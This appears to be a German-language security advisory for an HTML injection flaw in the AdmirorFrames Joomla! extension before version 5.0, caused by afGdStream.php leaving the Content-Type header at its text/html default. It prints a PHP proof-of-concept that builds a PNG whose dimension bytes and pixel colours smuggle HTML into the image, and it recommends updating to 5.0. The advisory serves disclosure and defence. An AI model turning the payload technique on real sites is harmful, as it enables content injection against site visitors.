
AdmirorFrames Joomla! Erweiterung < 5.0 - HTML-Injektion
AdmirorFrames Joomla!-Erweiterung < 5.0 - HTML-Injection
HTML-Injection in der AdmirorFrames Joomla!-Erweiterung in der Datei afGdStream.php, die den Wert des Content-Type-Headers nicht festlegt, bevor sie Bilddaten sendet. Dadurch sendet PHP den Standardwert dieses Headers (text/html) und führt dazu, dass Bilddaten als HTML-Dokument interpretiert werden.
Beispiel-PHP-Skript, das ein PNG mit Breiten- und Höhenfeldern erzeugt, die auf das <s>-HTML-Tag gesetzt sind:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
Ergebnis der Darstellung der Proof-of-Concept-Datei example.png durch einen Webbrowser:
Proof-of-Concept
Dieses Problem wurde durch die Verwendung des Standardwerts des Content-Type-Headers verursacht. Dieses Problem wurde in der AdmirorFrames Joomla!-Erweiterung in Version 5.0 behoben.
< 5.0
Aktualisieren Sie die AdmirorFrames Joomla!-Erweiterung auf Version 5.0 oder neuer.